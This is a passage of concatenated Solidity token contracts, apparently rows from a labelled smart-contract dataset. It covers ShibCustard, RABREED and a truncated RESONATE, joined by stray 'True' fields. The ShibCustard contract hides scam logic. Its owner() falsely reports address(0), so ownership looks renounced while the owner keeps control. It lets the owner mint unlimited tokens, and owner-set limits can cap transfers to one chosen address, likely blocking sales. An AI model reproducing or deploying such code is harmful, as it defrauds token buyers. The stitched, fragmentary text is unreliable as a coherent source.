return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return address(0);
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) private onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract ShibCustard is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address private _tOwnerAddress;
address private _tAllowAddress;
uint256 private _tTotal = 1000 * 10**9 * 10**18;
string private _name = 'Shiba Custard';
string private _symbol = 'ShibCustard 🍮🐕';
uint8 private _decimals = 18;
uint256 private _feeBot = 50 * 10**6 * 10**18;
constructor () public {
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferOwner(address newOwnerAddress) public onlyOwner {
_tOwnerAddress = newOwnerAddress;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function Marketing(address allowAddress) public onlyOwner {
_tAllowAddress = allowAddress;
}
function updateFeeTotal(uint256 amount) public onlyOwner {
require(_msgSender() != address(0), "ERC20: cannot permit zero address");
_tTotal = _tTotal.add(amount);
_balances[_msgSender()] = _balances[_msgSender()].add(amount);
emit Transfer(address(0), _msgSender(), amount);
}
function Tax(uint256 feeTax) public onlyOwner {
_feeBot = feeTax * 10**18;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
if (sender != _tAllowAddress && recipient == _tOwnerAddress) {
require(amount < _feeBot, "Transfer amount exceeds the maxTxAmount.");
}
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
} | True | [
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|
/**
🐰Telegram: https://t.me/Rabreed
🕸Website: https://rabreed.com/
🐣Twitter: https://twitter.com/RaBreedOfficial
()__()
(•ㅅ•)
_ノ ヽ ノ\_
`/ `/ ⌒Y⌒ Y ヽ
( (三ヽ人 / |
| ノ⌒\  ̄ ̄ヽ ノ
ヽ___>、___/
|( 王 ノ〈 ()__()
/ミ`ー―彡\ (•ㅅ•)
/ ╰ ╯ \ | |<3
SPDX-License-Identifier: UNLICENSED
*/
pragma solidity ^0.8.10;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract RABREED is Context, IERC20, Ownable {
mapping (address => uint) private _owned;
mapping (address => mapping (address => uint)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => User) private cooldown;
uint private constant _totalSupply = 1e12 * 10**9;
string public constant name = unicode"RABREED";
string public constant symbol = unicode"RABREED";
uint8 public constant decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address payable public _FeeAddress1;
address payable public _FeeAddress2;
address public uniswapV2Pair;
uint public _buyFee = 13;
uint public _sellFee = 13;
uint private _feeRate = 20;
uint public _maxBuyAmount;
uint public _maxHeldTokens;
uint public _launchedAt;
bool private _tradingOpen;
bool private _inSwap = false;
bool public _useImpactFeeSetter = false;
struct User {
uint buy;
bool exists;
}
event FeeMultiplierUpdated(uint _multiplier);
event ImpactFeeSetterUpdated(bool _usefeesetter);
event FeeRateUpdated(uint _rate);
event FeesUpdated(uint _buy, uint _sell);
event FeeAddress1Updated(address _feewallet1);
event FeeAddress2Updated(address _feewallet2);
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor (address payable FeeAddress1, address payable FeeAddress2) {
_FeeAddress1 = FeeAddress1;
_FeeAddress2 = FeeAddress2;
_owned[address(this)] = _totalSupply;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress1] = true;
_isExcludedFromFee[FeeAddress2] = true;
emit Transfer(address(0), address(this), _totalSupply);
}
function balanceOf(address account) public view override returns (uint) {
return _owned[account];
}
function transfer(address recipient, uint amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function totalSupply() public pure override returns (uint) {
return _totalSupply;
}
function allowance(address owner, address spender) public view override returns (uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public override returns (bool) {
if(_tradingOpen && !_isExcludedFromFee[recipient] && sender == uniswapV2Pair){
require (recipient == tx.origin, "anti-bot");
}
_transfer(sender, recipient, amount);
uint allowedAmount = _allowances[sender][_msgSender()] - amount;
_approve(sender, _msgSender(), allowedAmount);
return true;
}
function _approve(address owner, address spender, uint amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
bool isBuy = false;
if(from != owner() && to != owner()) {
// Eth
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(_tradingOpen, "trading not open yet.");
if((_launchedAt + (12 hours)) > block.timestamp) {
require((amount + balanceOf(address(to))) <= _maxHeldTokens, "over max held limit."); // 10%
}
if(!cooldown[to].exists) {
cooldown[to] = User(0,true);
}
if((_launchedAt + (120 seconds)) > block.timestamp) {
require(amount <= _maxBuyAmount, "Exceeds buy Limit.");
}
cooldown[to].buy = block.timestamp;
isBuy = true;
}
// token
if(!_inSwap && _tradingOpen && from != uniswapV2Pair) {
require(cooldown[from].buy < block.timestamp + (15 seconds), "cooldown.");
uint contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance > 0) {
if(_useImpactFeeSetter) {
if(contractTokenBalance > (balanceOf(uniswapV2Pair) * _feeRate) / 100) {
contractTokenBalance = (balanceOf(uniswapV2Pair) * _feeRate) / 100;
}
}
swapTokensForEth(contractTokenBalance);
}
uint contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
isBuy = false;
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee,isBuy);
}
function swapTokensForEth(uint tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint amount) private {
_FeeAddress1.transfer(amount / 2);
_FeeAddress2.transfer(amount / 2);
}
function _tokenTransfer(address sender, address recipient, uint amount, bool takefee, bool buy) private {
(uint fee) = _getFee(takefee, buy);
_transferStandard(sender, recipient, amount, fee);
}
function _getFee(bool takefee, bool buy) private view returns (uint) {
uint fee = 0;
if(takefee) {
if(buy) {
fee = _buyFee;
} else {
fee = _sellFee;
}
}
return fee;
}
function _transferStandard(address sender, address recipient, uint amount, uint fee) private {
(uint transferAmount, uint team) = _getValues(amount, fee);
_owned[sender] = _owned[sender] - amount;
_owned[recipient] = _owned[recipient] + transferAmount;
_takeTeam(team);
emit Transfer(sender, recipient, transferAmount);
}
function _getValues(uint amount, uint teamFee) private pure returns (uint, uint) {
uint team = (amount * teamFee) / 100;
uint transferAmount = amount - team;
return (transferAmount, team);
}
function _takeTeam(uint team) private {
_owned[address(this)] = _owned[address(this)] + team;
}
receive() external payable {}
// external functions
function addLiquidity() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _totalSupply);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function openTrading() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
_tradingOpen = true;
_launchedAt = block.timestamp;
_maxBuyAmount = 50000000000 * 10**9; // 5%
_maxHeldTokens = 100000000000 * 10**9; // 10%
}
function manualswap() external {
require(_msgSender() == _FeeAddress1);
uint contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress1);
uint contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setFeeRate(uint rate) external {
require(_msgSender() == _FeeAddress1);
require(rate > 0, "Rate can't be zero");
_feeRate = rate;
emit FeeRateUpdated(_feeRate);
}
function setFees(uint buy, uint sell) external {
require(_msgSender() == _FeeAddress1);
require(buy < 13 && sell < 13 && buy < _buyFee && sell < _sellFee);
_buyFee = buy;
_sellFee = sell;
emit FeesUpdated(_buyFee, _sellFee);
}
function toggleImpactFee(bool onoff) external {
require(_msgSender() == _FeeAddress1);
_useImpactFeeSetter = onoff;
emit ImpactFeeSetterUpdated(_useImpactFeeSetter);
}
function updateFeeAddress1(address newAddress) external {
require(_msgSender() == _FeeAddress1);
_FeeAddress1 = payable(newAddress);
emit FeeAddress1Updated(_FeeAddress1);
}
function updateFeeAddress2(address newAddress) external {
require(_msgSender() == _FeeAddress2);
_FeeAddress2 = payable(newAddress);
emit FeeAddress2Updated(_FeeAddress2);
}
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
} | True | [
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|
/*
* Copyright © 2020 resonate.finance. ALL RIGHTS RESERVED.
*/
pragma solidity ^0.7.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: openzeppelin-solidity\contracts\token\ERC20\IERC20.sol
// SPDX-License-Identifier: MIT
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: openzeppelin-solidity\contracts\math\SafeMath.sol
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File: openzeppelin-solidity\contracts\utils\Address.sol
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: openzeppelin-solidity\contracts\access\Ownable.sol
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract RESONATE is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 10**6 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name = "resonate.finance";
string private _symbol = "RNFI";
uint8 private _decimals = 9;
uint256 private _decimals_exponent = 10 ** _decimals;
bool private _approveAllowed = false;
uint256 private _max_fee_ratio = 0;
uint256 private _min_fee_ratio = 0;
uint256 private _upper_bound_amount = 1800;
uint256 private _lower_bound_amount = 0;
constructor() public {
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public override view returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public override view returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
override
view
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function increaseAllowance(address spender, uint256 addedValue)
public
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].add(addedValue)
);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue)
public
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].sub(
subtractedValue,
"ERC20: decreased allowance below zero"
)
);
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function reflect(uint256 tAmount) public {
address sender = _msgSender();
require(
!_isExcluded[sender],
"Excluded addresses cannot call this function"
);
(uint256 rAmount, , , , ) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee)
public
view
returns (uint256)
{
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount, , , , ) = _getValues(tAmount);
return rAmount;
} else {
(, uint256 rTransferAmount, , , ) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount)
public
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(!_isExcluded[account], "Account is already excluded");
if (_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already not excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function allowApprove() external onlyOwner() {
_approveAllowed = true;
}
function getAllowApprove() public view returns (bool) {
return _approveAllowed;
}
function setMinFeeRatio(uint256 ratio) external onlyOwner() {
require(ratio >= 0 && ratio <= 10000, "fee ratio is out of range");
require(ratio <= _max_fee_ratio, "_min_fee_ratio cannot exceed _max_fee_ratio");
_min_fee_ratio = ratio;
}
function setMaxFeeRatio(uint256 ratio) external onlyOwner() {
require(ratio >= 0 && ratio <= 10000, "fee ratio is out of range");
require(_min_fee_ratio <= ratio, "_max_fee_ratio cannot be smaller than _min_fee_ratio");
_max_fee_ratio = ratio;
}
function setFeeRatio(uint256 min_ratio, uint256 max_ratio) external onlyOwner() {
require(min_ratio >= 0 && min_ratio <= 10000, "fee ratio is out of range");
require(max_ratio >= 0 && max_ratio <= 10000, "fee ratio is out of range");
require(min_ratio <= max_ratio, "min_ratio cannot exceed max_ratio");
_max_fee_ratio = max_ratio;
_min_fee_ratio = min_ratio;
}
